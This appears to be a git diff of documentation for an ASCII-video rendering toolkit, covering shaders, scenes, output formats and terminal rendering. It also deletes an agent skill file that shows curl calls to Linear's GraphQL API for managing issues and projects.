||||
else:
|
||||
print("WARNING: final output missing or empty — skipping cleanup")
|
||||
```
|
||||
|
||||
### Temp File Best Practices
|
||||
|
||||
- Use `tempfile.mkdtemp()` for segment directories — avoids polluting the project dir
|
||||
- Name WAV extracts with `tempfile.mktemp(suffix=".wav")` so they're in the OS temp dir
|
||||
- For debugging, set `KEEP_INTERMEDIATES=1` env var to skip cleanup
|
||||
- Feature caches (`.npz`) are cheap to store and expensive to recompute — default to keeping them
|
||||
|
||||
@@ -1,15 +1,5 @@
|
||||
# Scene System Reference
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, palettes, color (HSV + OKLAB): `architecture.md`
|
||||
- Effect building blocks (value fields, noise, SDFs, particles): `effects.md`
|
||||
- `_render_vf()`, blend modes, tonemap, masking: `composition.md`
|
||||
- Shader pipeline, feedback buffer, ShaderChain: `shaders.md`
|
||||
- Complete scene examples at every complexity level: `examples.md`
|
||||
- Input sources (audio features, video features): `inputs.md`
|
||||
- Performance tuning, portrait CLI: `optimization.md`
|
||||
- Common bugs (state leaks, frame drops): `troubleshooting.md`
|
||||
|
||||
Scenes are the top-level creative unit. Each scene is a time-bounded segment with its own effect function, shader chain, feedback configuration, and tone-mapping gamma.
|
||||
|
||||
## Scene Protocol (v2)
|
||||
@@ -22,7 +12,7 @@ def fx_scene_name(r, f, t, S) -> canvas:
|
||||
Args:
|
||||
r: Renderer instance — access multiple grids via r.get_grid("sm")
|
||||
f: dict of audio/video features, all values normalized to [0, 1]
|
||||
t: time in seconds — local to scene (0.0 at scene start)
|
||||
t: time in seconds (global, not local to scene)
|
||||
S: dict for persistent state (particles, rain columns, etc.)
|
||||
|
||||
Returns:
|
||||
@@ -30,20 +20,6 @@ def fx_scene_name(r, f, t, S) -> canvas:
|
||||
"""
|
||||
```
|
||||
|
||||
**Local time convention:** Scene functions receive `t` starting at 0.0 for the first frame of the scene, regardless of where the scene appears in the timeline. The render loop subtracts the scene's start time before calling the function:
|
||||
|
||||
```python
|
||||
# In render_clip:
|
||||
t_local = fi / FPS - scene_start
|
||||
canvas = fx_fn(r, feat, t_local, S)
|
||||
```
|
||||
|
||||
This makes scenes reorderable without modifying their code. Compute scene progress as:
|
||||
|
||||
```python
|
||||
progress = min(t / scene_duration, 1.0) # 0→1 over the scene
|
||||
```
|
||||
|
||||
This replaces the v1 protocol where scenes returned `(chars, colors)` tuples. The v2 protocol gives scenes full control over multi-grid rendering and pixel-level composition internally.
|
||||
|
||||
### The Renderer Class
|
||||
|
||||
@@ -2,15 +2,6 @@
|
||||
|
||||
Post-processing effects applied to the pixel canvas (`numpy uint8 array, shape (H,W,3)`) after character rendering and before encoding. Also covers **pixel-level blend modes**, **feedback buffers**, and the **ShaderChain** compositor.
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, palettes, color (HSV + OKLAB): `architecture.md`
|
||||
- Effect building blocks (value fields, noise, SDFs): `effects.md`
|
||||
- `_render_vf()`, blend modes, tonemap, masking: `composition.md`
|
||||
- Scene protocol, render_clip, SCENES table: `scenes.md`
|
||||
- Complete scene examples with shader usage: `examples.md`
|
||||
- Performance tuning (frame budget, worker count): `optimization.md`
|
||||
- Encoding pitfalls (ffmpeg flags, color space): `troubleshooting.md`
|
||||
|
||||
## Design Philosophy
|
||||
|
||||
The shader pipeline turns raw ASCII renders into cinematic output. The system is designed for **composability** — every shader, blend mode, and feedback transform is an independent building block. Combining them creates infinite visual variety from a small set of primitives.
|
||||
@@ -1034,324 +1025,3 @@ cmd = ["ffmpeg", "-y", "-f", "rawvideo", "-pix_fmt", "rgb24",
|
||||
"-vf", f"fps={fps},scale={W}:{H}:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse",
|
||||
"-loop", "0", output_gif]
|
||||
```
|
||||
|
||||
### PNG Sequence
|
||||
|
||||
For frame-accurate editing, compositing in external tools (After Effects, Nuke), or lossless archival:
|
||||
|
||||
```python
|
||||
import os
|
||||
|
||||
def output_png_sequence(frames, output_dir, W, H, fps, prefix="frame"):
|
||||
"""Write frames as numbered PNGs. frames = iterable of uint8 (H,W,3) arrays."""
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
|
||||
# Method 1: Direct PIL write (no ffmpeg dependency)
|
||||
from PIL import Image
|
||||
for i, frame in enumerate(frames):
|
||||
img = Image.fromarray(frame)
|
||||
img.save(os.path.join(output_dir, f"{prefix}_{i:06d}.png"))
|
||||
|
||||
# Method 2: ffmpeg pipe (faster for large sequences)
|
||||
cmd = ["ffmpeg", "-y", "-f", "rawvideo", "-pix_fmt", "rgb24",
|
||||
"-s", f"{W}x{H}", "-r", str(fps), "-i", "pipe:0",
|
||||
os.path.join(output_dir, f"{prefix}_%06d.png")]
|
||||
```
|
||||
|
||||
Reassemble PNG sequence to video:
|
||||
```bash
|
||||
ffmpeg -framerate 24 -i frame_%06d.png -c:v libx264 -crf 18 -pix_fmt yuv420p output.mp4
|
||||
```
|
||||
|
||||
### Alpha Channel / Transparent Background (RGBA)
|
||||
|
||||
For compositing ASCII art over other video or images. Uses RGBA canvas (4 channels) instead of RGB (3 channels):
|
||||
|
||||
```python
|
||||
def create_rgba_canvas(H, W):
|
||||
"""Transparent canvas — alpha channel starts at 0 (fully transparent)."""
|
||||
return np.zeros((H, W, 4), dtype=np.uint8)
|
||||
|
||||
def render_char_rgba(canvas, row, col, char_img, color_rgb, alpha=255):
|
||||
"""Render a character with alpha. char_img = PIL glyph mask (grayscale).
|
||||
Alpha comes from the glyph mask — background stays transparent."""
|
||||
r, g, b = color_rgb
|
||||
y0, x0 = row * cell_h, col * cell_w
|
||||
mask = np.array(char_img) # grayscale 0-255
|
||||
canvas[y0:y0+cell_h, x0:x0+cell_w, 0] = np.maximum(canvas[y0:y0+cell_h, x0:x0+cell_w, 0], (mask * r / 255).astype(np.uint8))
|
||||
canvas[y0:y0+cell_h, x0:x0+cell_w, 1] = np.maximum(canvas[y0:y0+cell_h, x0:x0+cell_w, 1], (mask * g / 255).astype(np.uint8))
|
||||
canvas[y0:y0+cell_h, x0:x0+cell_w, 2] = np.maximum(canvas[y0:y0+cell_h, x0:x0+cell_w, 2], (mask * b / 255).astype(np.uint8))
|
||||
canvas[y0:y0+cell_h, x0:x0+cell_w, 3] = np.maximum(canvas[y0:y0+cell_h, x0:x0+cell_w, 3], mask)
|
||||
|
||||
def blend_onto_background(rgba_canvas, bg_rgb):
|
||||
"""Composite RGBA canvas over a solid or image background."""
|
||||
alpha = rgba_canvas[:, :, 3:4].astype(np.float32) / 255.0
|
||||
fg = rgba_canvas[:, :, :3].astype(np.float32)
|
||||
bg = bg_rgb.astype(np.float32)
|
||||
result = fg * alpha + bg * (1.0 - alpha)
|
||||
return result.astype(np.uint8)
|
||||
```
|
||||
|
||||
RGBA output via ffmpeg (ProRes 4444 for editing, WebM VP9 for web):
|
||||
```bash
|
||||
# ProRes 4444 — preserves alpha, widely supported in NLEs
|
||||
ffmpeg -y -f rawvideo -pix_fmt rgba -s {W}x{H} -r {fps} -i pipe:0 \
|
||||
-c:v prores_ks -profile:v 4444 -pix_fmt yuva444p10le output.mov
|
||||
|
||||
# WebM VP9 — alpha support for web/browser compositing
|
||||
ffmpeg -y -f rawvideo -pix_fmt rgba -s {W}x{H} -r {fps} -i pipe:0 \
|
||||
-c:v libvpx-vp9 -pix_fmt yuva420p -crf 30 -b:v 0 output.webm
|
||||
|
||||
# PNG sequence with alpha (lossless)
|
||||
ffmpeg -y -f rawvideo -pix_fmt rgba -s {W}x{H} -r {fps} -i pipe:0 \
|
||||
frame_%06d.png
|
||||
```
|
||||
|
||||
**Key constraint**: shaders that operate on `(H,W,3)` arrays need adaptation for RGBA. Either apply shaders to the RGB channels only and preserve alpha, or write RGBA-aware versions:
|
||||
|
||||
```python
|
||||
def apply_shader_rgba(canvas_rgba, shader_fn, **kwargs):
|
||||
"""Apply an RGB shader to the color channels of an RGBA canvas."""
|
||||
rgb = canvas_rgba[:, :, :3]
|
||||
alpha = canvas_rgba[:, :, 3:4]
|
||||
rgb_out = shader_fn(rgb, **kwargs)
|
||||
return np.concatenate([rgb_out, alpha], axis=2)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Real-Time Terminal Rendering
|
||||
|
||||
Live ASCII display in the terminal using ANSI escape codes. Useful for previewing scenes during development, live performances, and interactive parameter tuning.
|
||||
|
||||
### ANSI Color Escape Codes
|
||||
|
||||
```python
|
||||
def rgb_to_ansi(r, g, b):
|
||||
"""24-bit true color ANSI escape (supported by most modern terminals)."""
|
||||
return f"\033[38;2;{r};{g};{b}m"
|
||||
|
||||
ANSI_RESET = "\033[0m"
|
||||
ANSI_CLEAR = "\033[2J\033[H" # clear screen + cursor home
|
||||
ANSI_HIDE_CURSOR = "\033[?25l"
|
||||
ANSI_SHOW_CURSOR = "\033[?25h"
|
||||
```
|
||||
|
||||
### Frame-to-ANSI Conversion
|
||||
|
||||
```python
|
||||
def frame_to_ansi(chars, colors):
|
||||
"""Convert char+color arrays to a single ANSI string for terminal output.
|
||||
|
||||
Args:
|
||||
chars: (rows, cols) array of single characters
|
||||
colors: (rows, cols, 3) uint8 RGB array
|
||||
Returns:
|
||||
str: ANSI-encoded frame ready for sys.stdout.write()
|
||||
"""
|
||||
rows, cols = chars.shape
|
||||
lines = []
|
||||
for r in range(rows):
|
||||
parts = []
|
||||
prev_color = None
|
||||
for c in range(cols):
|
||||
rgb = tuple(colors[r, c])
|
||||
ch = chars[r, c]
|
||||
if ch == " " or rgb == (0, 0, 0):
|
||||
parts.append(" ")
|
||||
else:
|
||||
if rgb != prev_color:
|
||||
parts.append(rgb_to_ansi(*rgb))
|
||||
prev_color = rgb
|
||||
parts.append(ch)
|
||||
parts.append(ANSI_RESET)
|
||||
lines.append("".join(parts))
|
||||
return "\n".join(lines)
|
||||
```
|
||||
|
||||
### Optimized: Delta Updates
|
||||
|
||||
Only redraw characters that changed since the last frame. Eliminates redundant terminal writes for static regions:
|
||||
|
||||
```python
|
||||
def frame_to_ansi_delta(chars, colors, prev_chars, prev_colors):
|
||||
"""Emit ANSI escapes only for cells that changed."""
|
||||
rows, cols = chars.shape
|
||||
parts = []
|
||||
for r in range(rows):
|
||||
for c in range(cols):
|
||||
if (chars[r, c] != prev_chars[r, c] or
|
||||
not np.array_equal(colors[r, c], prev_colors[r, c])):
|
||||
parts.append(f"\033[{r+1};{c+1}H") # move cursor
|
||||
rgb = tuple(colors[r, c])
|
||||
parts.append(rgb_to_ansi(*rgb))
|
||||
parts.append(chars[r, c])
|
||||
return "".join(parts)
|
||||
```
|
||||
|
||||
### Live Render Loop
|
||||
|
||||
```python
|
||||
import sys
|
||||
import time
|
||||
|
||||
def render_live(scene_fn, r, fps=24, duration=None):
|
||||
"""Render a scene function live in the terminal.
|
||||
|
||||
Args:
|
||||
scene_fn: v2 scene function (r, f, t, S) -> canvas
|
||||
OR v1-style function that populates a grid
|
||||
r: Renderer instance
|
||||
fps: target frame rate
|
||||
duration: seconds to run (None = run until Ctrl+C)
|
||||
"""
|
||||
frame_time = 1.0 / fps
|
||||
S = {}
|
||||
f = {} # synthesize features or connect to live audio
|
||||
|
||||
sys.stdout.write(ANSI_HIDE_CURSOR + ANSI_CLEAR)
|
||||
sys.stdout.flush()
|
||||
|
||||
t0 = time.monotonic()
|
||||
frame_count = 0
|
||||
try:
|
||||
while True:
|
||||
t = time.monotonic() - t0
|
||||
if duration and t > duration:
|
||||
break
|
||||
|
||||
# Synthesize features from time (or connect to live audio via pyaudio)
|
||||
f = synthesize_features(t)
|
||||
|
||||
# Render scene — for terminal, use a small grid
|
||||
g = r.get_grid("sm")
|
||||
# Option A: v2 scene → extract chars/colors from canvas (reverse render)
|
||||
# Option B: call effect functions directly for chars/colors
|
||||
canvas = scene_fn(r, f, t, S)
|
||||
|
||||
# For terminal display, render chars+colors directly
|
||||
# (bypassing the pixel canvas — terminal uses character cells)
|
||||
chars, colors = scene_to_terminal(scene_fn, r, f, t, S, g)
|
||||
|
||||
frame_str = ANSI_CLEAR + frame_to_ansi(chars, colors)
|
||||
sys.stdout.write(frame_str)
|
||||
sys.stdout.flush()
|
||||
|
||||
# Frame timing
|
||||
elapsed = time.monotonic() - t0 - (frame_count * frame_time)
|
||||
sleep_time = frame_time - elapsed
|
||||
if sleep_time > 0:
|
||||
time.sleep(sleep_time)
|
||||
frame_count += 1
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
finally:
|
||||
sys.stdout.write(ANSI_SHOW_CURSOR + ANSI_RESET + "\n")
|
||||
sys.stdout.flush()
|
||||
|
||||
def scene_to_terminal(scene_fn, r, f, t, S, g):
|
||||
"""Run effect functions and return (chars, colors) for terminal display.
|
||||
For terminal mode, skip the pixel canvas and work with character arrays directly."""
|
||||
# Effects that return (chars, colors) work directly
|
||||
# For vf-based effects, render the value field + hue field to chars/colors:
|
||||
val = vf_plasma(g, f, t, S)
|
||||
hue = hf_time_cycle(0.08)(g, t)
|
||||
mask = val > 0.03
|
||||
chars = val2char(val, mask, PAL_DENSE)
|
||||
R, G, B = hsv2rgb(hue, np.full_like(val, 0.8), val)
|
||||
colors = mkc(R, G, B, g.rows, g.cols)
|
||||
return chars, colors
|
||||
```
|
||||
|
||||
### Curses-Based Rendering (More Robust)
|
||||
|
||||
For full-featured terminal UIs with proper resize handling and input:
|
||||
|
||||
```python
|
||||
import curses
|
||||
|
||||
def render_curses(scene_fn, r, fps=24):
|
||||
"""Curses-based live renderer with resize handling and key input."""
|
||||
|
||||
def _main(stdscr):
|
||||
curses.start_color()
|
||||
curses.use_default_colors()
|
||||
curses.curs_set(0) # hide cursor
|
||||
stdscr.nodelay(True) # non-blocking input
|
||||
|
||||
# Initialize color pairs (curses supports 256 colors)
|
||||
# Map RGB to nearest curses color pair
|
||||
color_cache = {}
|
||||
next_pair = [1]
|
||||
|
||||
def get_color_pair(r, g, b):
|
||||
key = (r >> 4, g >> 4, b >> 4) # quantize to reduce pairs
|
||||
if key not in color_cache:
|
||||
if next_pair[0] < curses.COLOR_PAIRS - 1:
|
||||
ci = 16 + (r // 51) * 36 + (g // 51) * 6 + (b // 51) # 6x6x6 cube
|
||||
curses.init_pair(next_pair[0], ci, -1)
|
||||
color_cache[key] = next_pair[0]
|
||||
next_pair[0] += 1
|
||||
else:
|
||||
return 0
|
||||
return curses.color_pair(color_cache[key])
|
||||
|
||||
S = {}
|
||||
f = {}
|
||||
frame_time = 1.0 / fps
|
||||
t0 = time.monotonic()
|
||||
|
||||
while True:
|
||||
t = time.monotonic() - t0
|
||||
f = synthesize_features(t)
|
||||
|
||||
# Adapt grid to terminal size
|
||||
max_y, max_x = stdscr.getmaxyx()
|
||||
g = r.get_grid_for_size(max_x, max_y) # dynamic grid sizing
|
||||
|
||||
chars, colors = scene_to_terminal(scene_fn, r, f, t, S, g)
|
||||
rows, cols = chars.shape
|
||||
|
||||
for row in range(min(rows, max_y - 1)):
|
||||
for col in range(min(cols, max_x - 1)):
|
||||
ch = chars[row, col]
|
||||
rgb = tuple(colors[row, col])
|
||||
try:
|
||||
stdscr.addch(row, col, ch, get_color_pair(*rgb))
|
||||
except curses.error:
|
||||
pass # ignore writes outside terminal bounds
|
||||
|
||||
stdscr.refresh()
|
||||
|
||||
# Handle input
|
||||
key = stdscr.getch()
|
||||
if key == ord('q'):
|
||||
break
|
||||
|
||||
time.sleep(max(0, frame_time - (time.monotonic() - t0 - t)))
|
||||
|
||||
curses.wrapper(_main)
|
||||
```
|
||||
|
||||
### Terminal Rendering Constraints
|
||||
|
||||
| Constraint | Value | Notes |
|
||||
|-----------|-------|-------|
|
||||
| Max practical grid | ~200x60 | Depends on terminal size |
|
||||
| Color support | 24-bit (modern), 256 (fallback), 16 (minimal) | Check `$COLORTERM` for truecolor |
|
||||
| Frame rate ceiling | ~30 fps | Terminal I/O is the bottleneck |
|
||||
| Delta updates | 2-5x faster | Only worth it when <30% of cells change per frame |
|
||||
| SSH latency | Kills performance | Local terminals only for real-time |
|
||||
|
||||
**Detect color support:**
|
||||
```python
|
||||
import os
|
||||
def get_terminal_color_depth():
|
||||
ct = os.environ.get("COLORTERM", "")
|
||||
if ct in ("truecolor", "24bit"):
|
||||
return 24
|
||||
term = os.environ.get("TERM", "")
|
||||
if "256color" in term:
|
||||
return 8 # 256 colors
|
||||
return 4 # 16 colors basic ANSI
|
||||
```
|
||||
|
||||
@@ -1,15 +1,5 @@
|
||||
# Troubleshooting Reference
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, palettes, font selection: `architecture.md`
|
||||
- Effect building blocks (value fields, noise, SDFs): `effects.md`
|
||||
- `_render_vf()`, blend modes, tonemap: `composition.md`
|
||||
- Scene protocol, render_clip, SCENES table: `scenes.md`
|
||||
- Shader pipeline, feedback buffer, encoding: `shaders.md`
|
||||
- Input sources (audio, video, TTS): `inputs.md`
|
||||
- Performance tuning, hardware detection: `optimization.md`
|
||||
- Complete scene examples: `examples.md`
|
||||
|
||||
Common bugs, gotchas, and platform-specific issues encountered during ASCII video development.
|
||||
|
||||
## NumPy Broadcasting
|
||||
|
||||
@@ -1,297 +0,0 @@
|
||||
---
|
||||
name: linear
|
||||
description: Manage Linear issues, projects, and teams via the GraphQL API. Create, update, search, and organize issues. Uses API key auth (no OAuth needed). All operations via curl — no dependencies.
|
||||
version: 1.0.0
|
||||
author: Hermes Agent
|
||||
license: MIT
|
||||
prerequisites:
|
||||
env_vars: [LINEAR_API_KEY]
|
||||
commands: [curl]
|
||||
metadata:
|
||||
hermes:
|
||||
tags: [Linear, Project Management, Issues, GraphQL, API, Productivity]
|
||||
---
|
||||
|
||||
# Linear — Issue & Project Management
|
||||
|
||||
Manage Linear issues, projects, and teams directly via the GraphQL API using `curl`. No MCP server, no OAuth flow, no extra dependencies.
|
||||
|
||||
## Setup
|
||||
|
||||
1. Get a personal API key from **Linear Settings > API > Personal API keys**
|
||||
2. Set `LINEAR_API_KEY` in your environment (via `hermes setup` or your env config)
|
||||
|
||||
## API Basics
|
||||
|
||||
- **Endpoint:** `https://api.linear.app/graphql` (POST)
|
||||
- **Auth header:** `Authorization: $LINEAR_API_KEY` (no "Bearer" prefix for API keys)
|
||||
- **All requests are POST** with `Content-Type: application/json`
|
||||
- **Both UUIDs and short identifiers** (e.g., `ENG-123`) work for `issue(id:)`
|
||||
|
||||
Base curl pattern:
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ viewer { id name } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
## Workflow States
|
||||
|
||||
Linear uses `WorkflowState` objects with a `type` field. **6 state types:**
|
||||
|
||||
| Type | Description |
|
||||
|------|-------------|
|
||||
| `triage` | Incoming issues needing review |
|
||||
| `backlog` | Acknowledged but not yet planned |
|
||||
| `unstarted` | Planned/ready but not started |
|
||||
| `started` | Actively being worked on |
|
||||
| `completed` | Done |
|
||||
| `canceled` | Won't do |
|
||||
|
||||
Each team has its own named states (e.g., "In Progress" is type `started`). To change an issue's status, you need the `stateId` (UUID) of the target state — query workflow states first.
|
||||
|
||||
**Priority values:** 0 = None, 1 = Urgent, 2 = High, 3 = Medium, 4 = Low
|
||||
|
||||
## Common Queries
|
||||
|
||||
### Get current user
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ viewer { id name email } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List teams
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ teams { nodes { id name key } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List workflow states for a team
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ workflowStates(filter: { team: { key: { eq: \"ENG\" } } }) { nodes { id name type } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List issues (first 20)
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issues(first: 20) { nodes { identifier title priority state { name type } assignee { name } team { key } url } pageInfo { hasNextPage endCursor } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List my assigned issues
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ viewer { assignedIssues(first: 25) { nodes { identifier title state { name type } priority url } } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Get a single issue (by identifier like ENG-123)
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issue(id: \"ENG-123\") { id identifier title description priority state { id name type } assignee { id name } team { key } project { name } labels { nodes { name } } comments { nodes { body user { name } createdAt } } url } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Search issues by text
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issueSearch(query: \"bug login\", first: 10) { nodes { identifier title state { name } assignee { name } url } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Filter issues by state type
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issues(filter: { state: { type: { in: [\"started\"] } } }, first: 20) { nodes { identifier title state { name } assignee { name } } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Filter by team and assignee
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issues(filter: { team: { key: { eq: \"ENG\" } }, assignee: { email: { eq: \"user@example.com\" } } }, first: 20) { nodes { identifier title state { name } priority } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List projects
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ projects(first: 20) { nodes { id name description progress lead { name } teams { nodes { key } } url } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List team members
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ users { nodes { id name email active } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### List labels
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issueLabels { nodes { id name color } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
## Common Mutations
|
||||
|
||||
### Create an issue
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"query": "mutation($input: IssueCreateInput!) { issueCreate(input: $input) { success issue { id identifier title url } } }",
|
||||
"variables": {
|
||||
"input": {
|
||||
"teamId": "TEAM_UUID",
|
||||
"title": "Fix login bug",
|
||||
"description": "Users cannot login with SSO",
|
||||
"priority": 2
|
||||
}
|
||||
}
|
||||
}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Update issue status
|
||||
First get the target state UUID from the workflow states query above, then:
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { issueUpdate(id: \"ENG-123\", input: { stateId: \"STATE_UUID\" }) { success issue { identifier state { name type } } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Assign an issue
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { issueUpdate(id: \"ENG-123\", input: { assigneeId: \"USER_UUID\" }) { success issue { identifier assignee { name } } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Set priority
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { issueUpdate(id: \"ENG-123\", input: { priority: 1 }) { success issue { identifier priority } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Add a comment
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { commentCreate(input: { issueId: \"ISSUE_UUID\", body: \"Investigated. Root cause is X.\" }) { success comment { id body } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Set due date
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { issueUpdate(id: \"ENG-123\", input: { dueDate: \"2026-04-01\" }) { success issue { identifier dueDate } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Add labels to an issue
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { issueUpdate(id: \"ENG-123\", input: { labelIds: [\"LABEL_UUID_1\", \"LABEL_UUID_2\"] }) { success issue { identifier labels { nodes { name } } } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Add issue to a project
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "mutation { issueUpdate(id: \"ENG-123\", input: { projectId: \"PROJECT_UUID\" }) { success issue { identifier project { name } } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Create a project
|
||||
```bash
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"query": "mutation($input: ProjectCreateInput!) { projectCreate(input: $input) { success project { id name url } } }",
|
||||
"variables": {
|
||||
"input": {
|
||||
"name": "Q2 Auth Overhaul",
|
||||
"description": "Replace legacy auth with OAuth2 and PKCE",
|
||||
"teamIds": ["TEAM_UUID"]
|
||||
}
|
||||
}
|
||||
}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
## Pagination
|
||||
|
||||
Linear uses Relay-style cursor pagination:
|
||||
|
||||
```bash
|
||||
# First page
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issues(first: 20) { nodes { identifier title } pageInfo { hasNextPage endCursor } } }"}' | python3 -m json.tool
|
||||
|
||||
# Next page — use endCursor from previous response
|
||||
curl -s -X POST https://api.linear.app/graphql \
|
||||
-H "Authorization: $LINEAR_API_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": "{ issues(first: 20, after: \"CURSOR_FROM_PREVIOUS\") { nodes { identifier title } pageInfo { hasNextPage endCursor } } }"}' | python3 -m json.tool
|
||||
```
|
||||
|
||||
Default page size: 50. Max: 250. Always use `first: N` to limit results.
|
||||
|
||||
## Filtering Reference
|
||||
|
||||
Comparators: `eq`, `neq`, `in`, `nin`, `lt`, `lte`, `gt`, `gte`, `contains`, `startsWith`, `containsIgnoreCase`
|
||||
|
||||
Combine filters with `or: [...]` for OR logic (default is AND within a filter object).
|
||||
|
||||
## Typical Workflow
|
||||
|
||||
1. **Query teams** to get team IDs and keys
|
||||
2. **Query workflow states** for target team to get state UUIDs
|
||||
3. **List or search issues** to find what needs work
|
||||
4. **Create issues** with team ID, title, description, priority
|
||||
5. **Update status** by setting `stateId` to the target workflow state
|
||||
6. **Add comments** to track progress
|
||||
7. **Mark complete** by setting `stateId` to the team's "completed" type state
|
||||
|
||||
## Rate Limits
|
||||
|
||||
- 5,000 requests/hour per API key
|
||||
- 3,000,000 complexity points/hour
|
||||
- Use `first: N` to limit results and reduce complexity cost
|
||||
- Monitor `X-RateLimit-Requests-Remaining` response header
|
||||
|
||||
## Important Notes
|
||||
|
||||
- Always use `terminal` tool with `curl` for API calls — do NOT use `web_extract` or `browser`
|
||||
- Always check the `errors` array in GraphQL responses — HTTP 200 can still contain errors
|
||||
- If `stateId` is omitted when creating issues, Linear defaults to the first backlog state
|
||||
- The `description` field supports Markdown
|
||||
- Use `python3 -m json.tool` or `jq` to format JSON responses for readability
|
||||
